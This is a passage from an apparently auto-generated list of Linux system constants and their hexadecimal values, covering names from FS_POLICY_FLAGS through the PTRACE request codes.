-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x5
-- F_GETLK64 = 0xc
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0xd
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0xe
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x4000
-- IBSHIFT = 0x10
-- ICANON = 0x100
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x400
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x80
-- ISTRIP = 0x20
-- IUCLC = 0x1000
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x400
-- IXON = 0x200
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x80
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x40
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x2000
-- MCL_FUTURE = 0x4000
-- MCL_ONFAULT = 0x8000
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NL2 = 0x200
-- NL3 = 0x300
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x300
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80000000
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x4
-- ONLCR = 0x2
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x20000
-- O_DIRECTORY = 0x4000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x8000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x404000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x1000
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x2000
-- PENDIN = 0x20000000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_SAO = 0x10
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETEVRREGS = 0x14
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGS64 = 0x16
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GETVRREGS = 0x12
-- PTRACE_GETVSRREGS = 0x1b
